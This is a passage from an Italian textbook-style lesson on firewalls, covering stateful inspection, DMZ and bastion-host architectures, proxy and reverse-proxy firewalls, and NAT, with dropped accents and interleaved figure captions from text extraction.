2. Lascia molti varchi nel perimetro della rete, non potendo
distinguere se un pacchetto di un protocollo applicativo
valido o proviene da un intruso che vuole sfruttare al-
cune vulnerabilit.
3. Non permette di gestire protocolli che utilizzano porte
dinamiche, eventualmente comunicando tali porte al-
l'interno dei protocolli; un esempio FTP (File Transfer
Protocol) che, con filtri statici come quelli descritti, ri-
chiede di aprire l'accesso a interi intervalli di porte.
4. La scrittura di regole richiede di valutare il modo in cui
diversi protocolli applicativi potrebbero interagire, nel
tentativo di selezionare quelli ammessi.
5. Permette connessioni dirette da client esterni a host in-
terni.
6. Presenta difficile gestione e scalabilit in ambienti com-
plessi e con diversi firewall da sincronizzare.
7. E' vulnerabile ad attacchi dove l'indirizzo di origine sia
spoofed (contraffatto in modo da corrispondere allo
schema interno degli indirizzi IP), in assenza di regole
specifiche per impedirlo.
8. Non offre alcuna autenticazione degli utenti.
Stateful inspection
I limiti dei sistemi packet filter derivano dal fatto che un
singolo pacchetto in transito non contiene sufficienti infor-
mazioni per determinare se dovrebbe essere bloccato, da-
to che esso parte di una pi ampia comunicazione che
prevede lo scambio di vari pacchetti. Tutti i filtri di pac-
chetti che implementano qualche forma di stateful inspec-
tion mantengono in memoria lo stato di tutte le comunica-
zioni che attraversano il firewall e determinano se blocca-
re i singoli pacchetti in base a interi flussi di comunicazio-
ne, non semplicemente sulla base dei singoli pacchetti.
Perci, i firewall del tipo stateful inspection (o stateful
packet inspection, SPI) permettono o bloccano il passaggio
di un pacchetto non solo in base a indirizzi IP e porte, ma
anche utilizzando SYN, ACK, numeri di sequenza e altri da-
ti contenuti nell'header TCP (strato 4) e informazioni ap-
plicative (strato 7).
La maggior parte dei packet filter statici (stateless, senza
stato) permette a tutti i pacchetti con porta di origine su-
periore a 1023 di passare attraverso il firewall perch tali
porte sono usate per i socket di ritorno (indirizzo pi por-
ta) delle connessioni originate dalla rete interna. Questo
un meccanismo assai insicuro, perch nulla impedisce a un
cavallo di Troia di ascoltare, all'interno della rete, su porte
superiori alla 1023; un filtro stateless non pu impedire ta-
le intrusione, bloccata invece da un filtro stateful.
La tecnologia stateful inspection stata inventata e bre-
vettata all'inizio degli anni 1990 da Check Point, e si tra-
sformata in uno standard di fatto nella realizzazione di fi-
Topologia di rete per l'esempio di filtraggio dei pacchetti
Un set minimo di regole di filtraggio a scopo illustrativo
rewall di fascia alta. E' anche nota come dynamic packet fil-
tering, e prevede il monitoraggio dei pacchetti attraverso
un lungo arco di tempo e non solo l'analisi del traffico agli
strati 3 e 4 (trasporto, ovvero TCP/UDP), ma anche un mo-
nitoraggio dello stato delle varie applicazioni attive. Ven-
gono esaminati i pacchetti sia in entrata sia in uscita, e si
accettano solo i pacchetti in entrata che costituiscono una
risposta appropriata a quelli in uscita. Un firewall di questa
classe spende la maggior parte del proprio tempo a esa-
minare pacchetti agli strati 3 e 4 per velocit, ma esamina
e tiene traccia anche di alcuni pacchetti vitali originati nel-
lo strato applicativo (7), come ad esempio il pacchetto che
avvia una connessione. Se il pacchetto in questione soddi-
sfa una delle regole impostate lo si lascia passare, e se ne
registra il passaggio in una tabella interna. Da quel mo-
mento in poi i pacchetti di quella particolare connessione
corrispondono alla voce registrata in tabella, e vengono la-
sciati passare senza eseguire ulteriori verifiche allo strato
7 (che ridurrebbero le prestazioni). Ci si limita a controlla-
re che le informazioni di strato 3 e 4 corrispondano a quan-
to definito nella tabella.
Vediamo un esempio minimo di dialogo tra un client e un
Web server attraverso un firewall SPI, con la presenza di un
hacker che tenta di intromettersi.
L'esempio mostra come il firewall tenga una connection
table (tabella delle connessioni) dove registra lo stato di
ciascuna connessione. Nel caso di UDP, che un protocol-
lo connectionless (senza connessione, ovvero senza stato,
con ogni pacchetto indipendente dagli altri), i firewall SPI
di rango tengono uno stato virtuale del dialogo.
Il client, porta 1220, intende comunicare col server sul-
la porta 80 (HTTP); il firewall apre, per la durata della con-
nessione, la porta 1220 per la risposta che il Web server in-
vier al client. Poi apre la connessione in uscita verso il
Web server e invia il pacchetto. Quando il firewall inter-
cetta la risposta del Web server al client, verifica se la por-
ta 1220 del client (la destinazione) aperta a messaggi pro-
venienti dall'indirizzo del server; ci vero, e il pacchetto
ha via libera verso il client.
Ora un intruso cerca di approfittare del varco aperto (la
porta 1220 verso il client) per aggregarsi e inviare un mes-
saggio al client. Il firewall verifica se la porta 1220 del client
aperta per l'indirizzo IP dell'hacker; non cos, e il pac-
chetto viene bloccato.
Quando la connessione viene chiusa, il firewall rimuove
dalla connection table i varchi (le porte aperte) che erano
serviti a far passare i messaggi di risposta a comunicazio-
ni nate all'interno della rete. Nell'esempio, viene chiusa la
porta 1220 e, se l'hacker riprova a mandare un pacchetto al
client fingendo di essere il Web server (indirizzo IP del mit-
tente spoofed), il firewall, avendo cancellato la connessio-
ne appena completata, non trova nessuna regola applica-
bile e blocca il pacchetto.
A volte per stateful inspection s'intende anche un esame
del traffico a strato 4, anzich semplicemente allo strato 3
come nei packet filter statici. Un esempio costituito dalle
reflexive access list di Cisco, cos chiamate perch il loro
contenuto cambia dinamicamente come risposta che ri-
flette lo stato delle singole sessioni in corso. Un altro esem-
pio viene dal modulo states per iptables. Con tali strumen-
ti, il firewall tiene traccia delle connessioni aperte e, quin-
di, riconosce i pacchetti che ne fanno parte autorizzando-
ne il passaggio. Ne conseguono due vantaggi: la maggiore
precisione nel selezionare il traffico permesso e nell'aper-
tura di porte, e la semplificazione nella scrittura delle re-
gole, pi leggibili e meno soggette a errori.
Tra i firewall SPI sono comuni funzionalit che permet-
tono di entrare nel merito anche di alcuni protocolli appli-
cativi particolarmente semplici e comuni, come FTP, in mo-
do da riconoscere le parti in cui sono gestite le porte va-
riabili, cos da tenerne conto nell'autorizzare le corrispon-
denti connessioni.
Un esempio di dialogo con un firewall di tipo stateful inspection
La stateful inspection
di Check Point esamina
anche i dati applicativi
I limiti delle soluzioni SPI di base (strati 3 e 4) riguarda-
no principalmente la difficolt di gestire politiche (e quin-
di regole) che entrino nel merito di protocolli applicativi, e
il fatto che i pacchetti attraversano comunque il firewall;
quindi possibile che attacchi agli strati bassi dello stack OSI
raggiungano i sistemi interni.
Packet filter con content inspection
Esistono diverse interpretazioni del termine stateful in-
spection, la cui definizione non univoca e ha avuto evo-
luzioni diverse legate ai produttori e alle loro tecnologie.
Check Point, che rimane ancora oggi leader nella produ-
zione di firewall di fascia alta, ne implementa una versione
che va ben al di l della normale accezione, comprenden-
do l'esame dei pacchetti a tutti gli strati di rete. La macchi-
na virtuale di ispezione dei pacchetti si colloca tra lo stra-
to 2 e lo strato 3, e abbraccia tutti i protocolli superiori fi-
no a quello applicativo.
In generale, per content inspection s'intende l'aggiunta
di controlli applicativi pi sofisticati ai packet filter dotati di
stateful inspection. Il risultato l'abbinamento dell'effi-
cienza dei packet filter al grado di controllo permesso dal-
l'esame dei dati contenuti nei pacchetti applicativi. Questo
non significa che le decisioni sul far passare o meno il traf-
fico siano semplici e perfette, perch a volte richiedono va-
lutazioni complesse su pi pacchetti. Sarebbe questo il ca-
so se il firewall dovesse bloccare certi tipi di allegati di po-
sta. Quando i controlli sono sofisticati, i firewall si appog-
giano ad applicazioni complesse che possono essere
esterne al prodotto. Un esempio la protezione antivirus
centralizzata, che pu essere coordinata col firewall e, a
volte, eseguita su un server separato collegato con il fi-
rewall da protocolli di connessione, come il Content Vec-
toring Protocol di Check Point.
I firewall di ultima generazione di Check Point (FireWall-
1 NG) gi contenevano l'ispezione dei dati applicativi di al-
cuni protocolli comuni, come HTTP, SMTP e FTP. Con l'in-
troduzione del componente SmartDefense, il firewall pro-
tegge la rete da intere classi di attacchi senza dover con-
trastare individualmente ogni attacco man mano censito,
come avviene nei sistemi di Intrusion Detection. Tali classi
di attacchi includono DoS, attacchi IP, scansioni della rete
e vulnerabilit delle applicazioni. SmartDefense verifica ri-
gorosamente la correttezza dei dati dell'header e del pro-
tocollo, in modo da bloccare pacchetti mal formati. Per
esempio, anzich verificare tutti i possibili attacchi utiliz-
zabili contro i server DNS, SmartDefense verifica la confor-
mit dei pacchetti agli standard RFC definiti per tali pac-
chetti. Questo modo di operare protegge contro un gran
numero di attacchi presenti e futuri indipendentemente
dalla costante rincorsa tra vulnerabilit e contromisure.
Neanche il pi evoluto firewall con stateful inspection e
content inspection pu garantire protezione totale, perch
ci sono attacchi molto difficili da distinguere dai normali
flussi di traffico, e un comportamento troppo restrittivo
porterebbe a bloccare traffico valido delle applicazioni. Per
questo possibile modificare, anche nei prodotti di fascia
media e bassa, il livello di intervento del firewall, fino a di-
sattivarne del tutto la protezione quando necessario.
Due riferimenti per le tecnologie di Check Point sono
"Check Point VPN-1/FireWall-1 NG Administration" di Rat-
cliffe e Shah, Mc-Graw-Hill/Osborne, 2003 e "Check Point
NG VPN-1/FireWall-1 Advanced Configuration and Trouble-
shooting" di vari autori, Syngress 2003.
Architetture
Al di l delle tecnologie utilizzate per esaminare il traffi-
co e determinare quali pacchetti bloccare o far passare, ri-
veste particolare importanza l'architettura generale, in
termini di topologia della rete e componenti attivi utilizza-
ti. Consideriamo alcuni principi di progettazione fonda-
mentali.
1. Separazione tra reti con requisiti di sicurezza e criticit
diversi: se reti con grado di affidabilit diverso e criticit
diversa non sono separate, possibile attaccarne una
per poi attaccarne pi facilmente l'altra. Un firewall se-
para Internet dalla rete aziendale; altri firewall possono
separare la LAN dalla WLAN o le sottoreti degli utenti dal-
le sottoreti dei server (web, e-mail, DNS, database, ecc.).
2. La ridondanza delle protezioni. Dato che tutti i sistemi
sono soggetti ad anomalie, i componenti critici dovreb-
bero essere ridondanti per preservare la disponibilit e
la sicurezza dei servizi a fronte di difetti, guasti, errori di
configurazione e altri eventi dannosi. Nel combinare due
o pi firewall in un gruppo (firewall cluster) si pu abbi-
nare la ridondanza ad altre funzioni, come il bilancia-
mento del carico e il backup della connessione Internet.
3. La difesa in profondit. In caso di attacco o di altre mi-
nacce per la sicurezza consigliabile avere una seconda
linea di difesa, qualora la prima ceda. Un'architettura sin-
gle tier (a singolo strato) prevede un solo livello di dife-
sa; e offre basso costo e basso impegno gestionale. Se il
firewall viene compromesso l'intera rete diventa acces-
sibile, inoltre possono verificarsi colli di bottiglia perch
lo stesso strato gestisce tutti i servizi, sia in ingresso che
in uscita.
Un'architettura two-tier (a doppio strato) utilizza un fi-
rewall per separare la rete interna dalla rete perimetra-
le (dove risiedono, ad esempio, Web server e mail ser-
ver), e un altro firewall per separare la rete aziendale da
Internet. La robustezza migliora ma il progetto poco
flessibile e, nel tempo, pu portare a problemi di scala-
bilit se i due strati sono mal dimensionati.
In un'architettura multi-tier (multi-strato) c' un'ulterio-
5.7.8.2 Essere al
corrente del
significato del
termine DMZ
La stateful inspection
di Check Point opera
tra lo strato 2 e
lo strato 3
Un'architettura single tier
re differenziazione tra aree pubbliche e aree private del-
la rete aziendale, e ogni area pubblica dotata del pro-
prio firewall. In tal modo non c' propagazione di even-
tuali cadute di sicurezza, e la configurazione diversa
per ogni area. I vantaggi sono: maggiore sicurezza deri-
vante dal maggior numero di zone protette, configurate
ad-hoc; prestazioni e disponibilit, visto che non tutti i
servizi dipendono da un unico punto d'ingresso/uscita;
separazione del traffico in ingresso da quello in uscita,
con regole specifiche che aumentano la sicurezza dei
servizi pubblici. Gli svantaggi sono: complessit, gesti-
bilit e costo.
4. Flessibilit. Un firewall deve potersi adattare alle nuove
esigenze della rete: se perfetto per le necessit corren-
ti ma non pu gestire nuovi servizi senza troppi proble-
mi, diventer di ostacolo per le attivit legittime. Ci pu
portare all'apertura indiscriminata di varchi per far pas-
sare quello che il firewall non gestisce, all'apertura di
nuove connessioni fra le reti e, in generale, alla perdita di
efficacia e affidabilit dello strumento.
5. Semplicit. Dato che un firewall uno strumento critico,
particolarmente necessario avere adeguate garanzie
sul suo corretto funzionamento, difficili da ottenere se lo
strumento complesso. Per lo stesso motivo, dev'esse-
re facile da configurare correttamente. Tale requisito ab-
braccia la documentazione, l'interfaccia utente e i mec-
canismi di aggiornamento (idealmente automatici online
sia per le funzioni di sistema, sia per quelle applicative,
come avviene con il firewall Safe@Office di Check Point).
6. Controllo. Come normale per gli strumenti di sicurezza,
non basta installare e configurare un firewall: occorre
che esso produca un report periodico degli eventi signi-
ficativi, e che tali eventi siano valutati regolarmente in
modo da riconoscere attacchi in corso, problemi ed er-
rori di configurazione. Ad esempio, gli utenti del citato
Safe@Office, oltre a disporre di un report online dei pac-
chetti bloccati (una funzionalit comune a molti prodot-
ti), ricevono mensilmente da Check Point via e-mail un
report circostanziato con grafici riassuntivi (uno dei be-
nefici del collegamento permanente tra firewall e pro-
duttore).
Una conseguenza di questi principi il concetto di DMZ
(Demilitarized Zone, zona demilitarizzata). Questo termine
di origine militare indica un'area tampone tra una zona fi-
data e una non fidata all'interno della quale non sono con-
sentite le armi. Applicata al networking, una DMZ una sot-
torete alla quale sono connessi sistemi accessibili da reti
con diversi livelli di fiducia e criticit. Un tipico esempio di
DMZ la sottorete aziendale contenente i server pubblici,
che devono essere accessibili sia da Internet che dalla re-
te locale interna. Tali server non possono essere collocati
su Internet privi di protezione, n a maggior ragione pos-
sono risiedere nelle rete locale, visto che la loro compro-
missione renderebbe accessibili i sistemi interni. Si crea
una rete protetta sia da Internet, sia dalla rete locale.
Nell'uso corrente, il termine DMZ interscambiabile con
screened subnet (sottorete schermata); per la precisione,
una DMZ la piccola sottorete collocata tra il router Inter-
net e l'interfaccia esterna del firewall, mentre una screened
subnet una rete isolata accessibile solo attraverso una del-
le interfacce del firewall, e non connessa direttamente alla
rete interna.
Una seconda conseguenza che un firewall realizzato
con un singolo componente non soddisfa buona parte dei
principi esposti, quindi si presta solo a piccole installazio-
ni con basso livello di rischio.
Quando si utilizzano pi componenti che forniscono una
difesa in profondit, bisogna evitare di configurare un com-
ponente in funzione delle difese fornite dall'altro. Suppo-
niamo, ad esempio, che tra le rete A e la rete B ci sia un fi-
Un'architettura a
doppio strato
Un'architettura
multi-tier
Un esempio tipico di DMZ
(Demilitarized Zone)
Collegamento di WAN,
LAN, WLAN e DMZ a un
firewall Safe@Office
rewall suddiviso in due componenti, e che sia necessario
bloccare due servizi: HTTP e SNMP. Il primo componente
blocca SNMP; il secondo blocca http, ma lascia passare
SNMP, nell'ipotesi che sia gi bloccato dal primo compo-
nente. In tal caso non si ha una difesa in profondit (a pi
livelli) n una ridondanza, perch un fallimento di un com-
ponente determina una violazione della politica di sicurez-
za alla quale l'altro componente non pone rimedio. Si ha,
inoltre, un'interdipendenza tra le configurazioni dei due
componenti che pi complessa da capire e da realizzare
correttamente (nonch da documentare), situazione che
dovrebbe essere evitata.
Le immagini che seguono mostrano esempi di architet-
ture con alcune considerazioni specifiche. Si tratta di
esemplificazioni a scopo didattico, e ne vengono segnalati
i limiti. La scelta dell'architettura da utilizzare dev'essere
basata sulle esigenze dell'azienda e sulla comprensione del-
le caratteristiche della rete.
Firewall basati su proxy
Una tecnologia completamente diversa da quella dei fil-
tri di pacchetti, con o senza stato, quella utilizzata dai fi-
rewall basati su proxy. Il concetto di proxy (procuratore)
quello di un server che si frappone fra un'applicazione
client (come un browser) e un reale server (come un Web
server). Al server, il proxy appare come se fosse il client,
5.7.8.3 Sapere cos'
un proxy, e le relative
modalit di
funzionamento
Bastion Host - Singolo dual-homed Bastion Host: un sistema
irrobustito (perch direttamente esposto agli attacchi) con due
schede di rete. Si basa sulla disabilitazione del routing tra le
due reti e sul filtraggio dei pacchetti a livello applicativo. Il punto
debole che qualunque difetto del sistema si traduce in una
vulnerabilit della rete da proteggere
Screening router
Il traffico passa dal
Bastion Host (tipicamente
un proxy). In caso di
difetti del router, il
Bastion Host pu essere
aggirato. In caso di
attacchi ai server
pubblici, la rete interna
non protetta. Usabile
solo come componente di
architetture pi
complesse,
disaccoppiando server
pubblici da rete interna
Screened subnet
I due router permettono solo il
traffico che attraversa il Bastion
Host (tipicamente un proxy); se il
router interno vede traffico
anomalo, quasi certa una
compromissione; se i due router
hanno caratteristiche simili,
facile che condividano gli
eventuali difetti e che, in alcuni
casi, possano essere superati
entrambi
Dual Homed Bastion Host con router e DMZ
In questo caso, il Bastion Host (proxy o stateful filter) non pu
essere aggirato, quindi router e Bastion Host sono realmente
ridondanti. I sistemi sulla DMZ, se compromessi, sono in una
posizione adatta a praticare alcuni tipi di attacco (ad esempio
IP Spoofing)
DMZ protetta con multi-homed
Bastion Host
In questa configurazione, molto
diffusa, il Bastion Host gioca un
ruolo essenziale, mentre il router ha
generalmente dei filtri poco selettivi
Esempio di architettura
three-tier con DBMS
sulla rete interna
Questo esempio, detto
anche belt and
suspenders (cintura e
bretelle) per il grado
superiore di potezione,
utilizza un'architettura a
tre strati. Il choke router
un router posto
all'interno del firewall,
che impedisce lo
sniffing remoto dei
pacchetti. Rispetto alla
screened subnet, in
questo caso il Bastion
Host non pu essere
aggirato
Firewall complessi - I firewall possono diventare oggetti
complessi, ad esempio quando si devono gestire pi
connessioni con caratteristiche di sicurezza diverse. Una
Intranet una rete contenente informazioni e risorse riservate
al solo personale aziendale, ma pubblicamente accessibili.
Una Extranet una rete di risorse sotto il controllo aziendale
e rese accessibili a parti esterne fidate, come partner, clienti
e fornitori
mentre al client esso appare come se fosse il vero server.
Un firewall basato su proxy (detto anche application ga-
teway, proxy gateway e proxy server) richiede un'applica-
zione specifica per ogni protocollo. Vengono usate appli-
cazioni che accettano connessioni dai client, esaminano il
traffico e aprono corrispondenti connessioni verso i server.
Il meccanismo analogo a quello utilizzato dai proxy ca-
che per HTTP, che mantengono in cache le pagine Web pi
frequentate per migliorare le prestazioni della rete. La ca-
ratteristica principale che i pacchetti non attraversano il
firewall: quelli della connessione client-proxy e quelli della
connessione proxy-server sono pachetti differenti, relativi a
diverse connessioni. Di regola, i firewall basati su proxy
non eseguono il routing tra le diverse interfacce.
Un firewall proxy esamina non solo la testata dei pac-
chetti, come avviene nella stateful inspection di strato 3 e
4, ma anche il loro "carico utile", cio il campo dati. E ri-
spetto alla stateful inspection con verifica applicativa
(strato 7), il proxy firewall controlla tutti i singoli pacchet-
ti e non solo quelli significativi per la tracciatura di una con-
nessione. In tal modo, il firewall pu riconoscere contenu-
ti dannosi (per esempio codice eseguibile) e modificarli o
bloccarli. Per fare questo, un proxy firewall deve contene-
re un modulo software (agente) per ciascun tipo di appli-
cazione da monitorare e filtrare; su alcuni prodotti il nu-
mero di agenti pu raggiungere la ventina.
Un modo alternativo per entrare nel merito dello strato
applicativo invece la stateful inspection attuata da Check
Point, che non si limita a ispezionare gli strati 3 e 4, ma
estende l'analisi in maniera selettiva a tutti gli strati dal 3 in
su. La differenza sta nel fatto che un proxy introduce un ele-
mento additivo che spezza la continuit del modello client-
server, rende pi difficile la configurazione, limita il nume-
ro di applicazioni supportate e ha prestazioni inferiori, sep-
pure con analogo grado di sicurezza.
Consideriamo pi in dettaglio alcune differenze tra
proxy e filtraggio dei pacchetti:
1. gli attacchi ai livelli bassi dello stack TCP/IP non posso-
no superare il firewall, dato che i pacchetti non lo attra-
versano. In questo modo, si ottiene una protezione an-
che contro attacchi non ancora noti.
2. Il mantenimento dello stato gestito implicitamente dal-
lo stack TCP/IP del firewall.
3. Automaticamente, vige una politica di blocco di default:
il solo traffico che pu attraversare il firewall quello per
cui ci sono applicazioni proxy attive.
4. E' immediato gestire il traffico a livello applicativo, visto
che i dati sono gestiti allo stesso livello dell'applicazione.
5. La topologia delle reti connesse, e in particolare gli indi-
rizzi IP, sono nascosti dall'uso del proxy, che normal-
mente apre le connessioni con il proprio indirizzo IP e
non con quello del client. Quando questo fosse uno svan-
taggio, possibile utilizzare proxy trasparenti tra client
e server, che non richiedono la riconfigurazione del
client. Si noti che per poter aprire connessioni con indi-
rizzo diverso da quello dell'interfaccia, il proxy deve di-
sporre di privilegi adeguati.
6. I dati subiscono un trattamento pi complesso sul fi-
rewall: devono essere aperte due connessioni invece di
una, devono essere schedulati diversi processi, e i dati
devono essere copiati pi volte tra aree di memoria. Ci
significa maggiore carico elaborativi e maggiore latenza
(tempo di attraversamento del firewall).
7. Per gestire un protocollo applicativo complesso, con
porte assegnate dinamicamente e contrattate fra client e
server all'interno del protocollo applicativo, necessario
un componente specifico. Se esso non disponibile, pu
essere impossibile far passare il protocollo attraverso il
firewall.
Mentre sono evidenti i vantaggi dal punto di vista della
sicurezza, le ultime due considerazioni hanno limitato no-
tevolmente la diffusione di questa tecnologia; la preoccu-
pazione per prestazioni insufficienti (a volte un problema
sovrastimato) e il rischio di non poter gestire un'applica-
zione necessaria hanno fatto preferire in molti casi tecno-
logie meno sicure ma pi flessibili, o la stateful inspection
a stack intero di Check Point.
La tecnologia basata su proxy a sua volta suddivisa in
due categorie:
1. proxy generici, detti anche circuit level gateways: si tratta
di proxy che permettono il transito di traffico TCP/UDP
generico, senza entrare nel merito del protocollo appli-
cativo trasportato. Sono utilizzabili solo per protocolli
semplici allo scopo di non avere il passaggio diretto dei
pacchetti tra le reti, e di poter autenticare le connessio-
ni. Un caso particolare , per, l'utilizzo del protocollo
SOCKS, che permette l'interazione di client e server con
il firewall, con la possibilit di gestire l'apertura e la chiu-
sura di connessioni, l'autenticazione e la delega di cre-
denziali.
2. gli application-level gateways, che utilizzano proxy spe-
cifici per i singoli protocolli applicativi; in tal caso, il pro-
tocollo applicativo viene gestito e i controlli raggiungo-
no la loro piena efficacia.
Ci sono protocolli per cui il meccanismo dei proxy par-
ticolarmente naturale, come ad esempio HTTP/HTTPS e
SMTP, con il suo store-and-forward (memorizza e inoltra) dei
messaggi. Di fatto, quando avvengono pi passaggi tra ser-
ver diversi per la consegna dei messaggi (come un server
aziendale interno e un mail server esterno), quello che si
realizza un meccanismo di proxy. Utilizzare quindi firewall
basati su proxy per questi protocolli particolarmente fa-
cile; nel caso della posta elettronica, un proxy pu servire
ad aggiungere diverse funzionalit:
1. antivirus centralizzato;
2. modifica degli header dei messaggi in transito, cancel-
lando o uniformando alcune parti, ad esempio verifican-
do che gli indirizzi di origine siano conformi alle politiche
aziendali;
3. eliminazione o quarantena degli allegati ritenuti perico-
losi;
4. politiche di protezione dello spam, per esempio blocco
di messaggi provenienti da siti elencati in black list di
spammer.
Uso dei proxy
L'utilizzo di proxy tra una rete aziendale e Internet per-
mette di generare sul proxy tutte le connessioni verso In-
ternet. Una conseguenza che la topologia della rete
aziendale, compresi gli indirizzi IP e le caratteristiche degli
apparati attivi, non sono riconoscibili da Internet. Da un la-
to ci un vantaggio, ma non deve essere sopravvalutato
per non cadere nell'eccesso della security through obscurity,
ovvero sicurezza basata sulla speranza che l'attaccante
Un firewall basato su proxy, detto anche application gateway
5.7.8.4 Essere al
corrente dell'utilizzo
del proxy per limitare
l'utilizzo di indirizzi IP
e proteggere i
sistemi interni della
rete
non capisca con che cosa ha a che fare, che una posizio-
ne assai debole. Un altro vantaggio che dall'esterno non
possibile accedere direttamente ai sistemi interni, rag-
giungibili solo attraverso le connessioni che questi aprono
verso Internet o quelle esplicitamente permesse verso i
server pubblici. Ci, tuttavia, non costituisce un vantaggio
da sopravvalutare.
I proxy possono essere utilizzati in due modi fonda-
mentali: per gestire il traffico da Internet verso i server pub-
blici, e per gestire il traffico dai client verso Internet.
Reverse proxy
Reverse proxy (proxy inverso) il termine che indica un
proxy utilizzato per la protezione di un server, tipicamen-
te un Web server (HTTP/HTTPS) su Internet. Gli usi pi co-
muni dei reverse proxy riguardano il bilanciamento del ca-
rico e la continuit del servizio, che costituiscono anche un
aspetto di disponibilit.
Dal punto di vista del controllo del traffico, oltre ai van-
taggi gi visti per l'uso dei proxy, l'uso dei reverse proxy ne
presenta alcuni altri:
1. permette di fornire un unico indirizzo IP a fronte di un in-
sieme di server, anche eterogenei, connessi a una rete
complessa;
2. permette di utilizzare meccanismi centralizzati per la ve-
rifica delle richieste, ad esempio di pattern matching per
riconoscere e bloccare eventuali richieste illegali che po-
trebbero causare malfunzionamenti o sovraccarichi;
3. permette d'implementare SSL (HTTPS) sul proxy, la-
sciando in chiaro il traffico tra proxy e server, facilitando
il dimensionamento dell'hardware dedicato a tale scopo.
Analogamente, possibile continuare a usare i controlli
del proxy, come il pattern matching, anche per il traffico
SSL, che altrimenti sarebbe cifrato fino ai server; nello
stesso modo, si possono interporre sistemi di Intrusion
Detection tra proxy e server.
4. Permette di centralizzare i meccanismi di autorizzazione
e autenticazione; anche in questo caso, uno dei vantag-
gi permettere di utilizzare architetture eterogenee.
L'uso di reverse proxy comune in molti siti anche di
grandi dimensioni, a dimostrazione del fatto che si possono
ottenere buone prestazioni anche con questa tecnologia.
Proxy a protezione dei client
Per la protezione di client, i proxy sono utilizzati nel mo-
do tradizionale. Il controllo particolarmente stretto eserci-
tato sul traffico a basso livello offre una protezione impli-
cita nei confronti di molti cavalli di Troia e simili, infatti un
server maligno in ascolto sul client non contattabile at-
traverso il firewall. Un'eccezione pu essere rappresentata
dagli attacchi FTP bounce o simili, peraltro sempre meno
frequenti perch sempre minore il numero di server FTP
che li permettono. Un attacco FTP bounce (rimbalzo FTP)
sfrutta una vulnerabilit del protocollo FTP per cui un at-
taccante in grado di usare il comando PORT per chiede-
re accesso alle porte indirettamente, attraverso l'uso del
computer della vittima usato come intermediario nella ri-
chiesta. La tecnica pu essere usata per eseguire una scan-
sione delle porte degli host senza farsi notare, e per acce-
dere a porte specifiche inaccessibili da una connessione di-
retta. Nmap uno scanner di porte che pu utilizzare un at-
tacco FTP bounce per la scansione di altri server. Nella pra-
tica, l'attacco FTP bounce si sviluppa spesso nel modo se-
guente: si trasferisce sul server FTP un file contenente i co-
mandi da eseguire, ci si collega quindi allo stesso server
mediante Telnet e gli si chiede, a distanza, di collegarsi al-
la macchina da attaccare e di eseguire i comandi contenu-
ti nel file che avevamo precedentemente trasmesso.
In pratica, si tratta di inviare al server FTP comandi
PORT in cui indirizzo e la cui porta corrispondono al server
che si desidera contattare, anzich ai propri. Tali comandi,
legali dal punto di vista del protocollo, non hanno ragione
di essere accettati e, generalmente, sono rifiutati dai re-
centi server FTP. Uno svantaggio dell'impiego di un server
proxy client consiste invece nell'impossibilit di usare co-
mandi come ping e tracert (traceroute, tracciamento del per-
corso da origine a destinazione). In alcuni casi, sul firewall
sono realizzate applicazioni accessibili dall'utente che li
emulano.
Network Address Translation
La Network Address Translation (NAT, traduzione degli in-
dirizzi di rete) un meccanismo che converte indirizzi IP
privati della rete locale interna in indirizzi IP pubblici ac-
cessibili da Internet. Fu introdotta come soluzione alla ca-
renza di indirizzi pubblici su Internet, in via di esaurimen-
to, ma ha avuto anche un beneficio collaterale dato che na-
sconde gli host interni alla vista esterna.
La RFC 1918 stata pubblicata allo scopo di offrire bloc-
chi di indirizzi IP "privati", e stabilisce gli intervalli libera-
mente utilizzabili dalle aziende all'interno delle loro reti.
Poich tali indirizzi non sono visibili da Internet, possono
essere replicati senza conflitti su ogni re-
te locale (mentre gli indirizzi IP su Internet
devono essere unici).
Una volta assegnati indirizzi privati a una
rete locale occorre instradare il traffico
tra la rete privata e Internet, creando una
corrispondenza tra gli indirizzi privati e
uno o pi indirizzi pubblici. A ci provve-
de la Network Address Translation, una
funzione incorporata nei router e firewall
che separano la rete interna da quella
esterna (anche Windows, dalla versione
2000 in poi, pu fungere da router con
5.7.8.5 Sapere
cos' un proxy, e le
relative modalit di
funzionamento
Uso di reverse proxy per
bilanciare il carico su una
serie di server di e-commerce
Un esempio di reverse proxy applicato all'Internet
banking
NAT per condividere la connessione a Internet con altri PC
della LAN).
Per eseguire la NAT, il firewall mantiene una tabella di
socket interni (indirizzo e porta) associati a socket esterni.
Quando un client interno stabilisce una connessione con
un host esterno, il firewall modifica il socket di origine in
uno dei propri socket esterni e crea una nuova voce nella
tabella di traduzione, che riporta il vero socket interno di
origine, il socket di destinazione e il corrispondente socket
del firewall.
Quando un host esterno risponde al socket corrispon-
dente all'host interno, il firewall opera la traduzione inver-
sa. Se non esiste alcuna voce nella tabella di traduzione per
il socket indirizzato, o l'IP del mittente diverso da quello
che il firewall si aspetta di vedere, il pacchetto viene scar-
tato.
Consideriamo, ad esempio, che l'host interno
192.168.1.9 voglia stabilire una sessione Web con l'host
esterno 10.50.23.11 (un Web server). Usando la prima por-
ta libera, 192.168.1.9:1234 trasmette un pacchetto TCP a
10.50.23.11:80. Il firewall (indirizzo interno 192.168.1.1, in-
dirizzo esterno 10.0.30.2) riceve il pacchetto e crea la voce
seguente nella sua tabella di traduzione:
Origine 192.168.1.9:1234
Host pubblico 10.50.23.11:80
Traduzione 10.0.30.2:15465
dopo di che, trasmette il pacchetto su Internet usando l'in-
dirizzo IP e numero di porta tradotto. Pertanto,
10.50.23.11:80 (il server pubblico) riceve un tentativo di
connessione da 10.0.30.2:15465 (indirizzo esterno del fi-
rewall). Quando l'host pubblico risponde, lo fa verso quel-
lo che vede come indirizzo di origine del pacchetto:
10.0.30.2:15465 (indirizzo esterno del firewall).
Dopo aver ricevuto il pacchetto di risposta, il firewall
cerca nella tabella di traduzione un socket corrispondente
e lo trova. Quindi, verifica che l'origine del pacchetto sia la
stessa dell'host pubblico registrato nella tabella di tradu-
zione quando fu creato il record.
La presenza di un record nella tabella conferma che il
pacchetto stato richiesto da un host interno; se il pac-
chetto non fosse stato richiesto, non ci sarebbe alcun re-
cord nella translation table corrispondente sia al socket tra-
dotto, sia al socket dell'host pubblico.
Se non viene trovata una voce corrispondente nella ta-
bella, il pacchetto scartato e l'evento viene registrato nel
log.
Il firewall modifica quindi il pacchetto ricevuto inseren-
do il socket dell'host interno, e lo passa alla rete interna per
la trasmissione al client originario.
La NAT descritta dalla RFC 1631, ed implementata so-
lo allo strato 4 (trasporto). Eventuali dati dannosi nascosti
nei dati (di pertinenza dei protocolli di strato superiore) de-
vono essere bloccati da servizi a livello applicativo, come
proxy o stateful inspection a tutto campo.
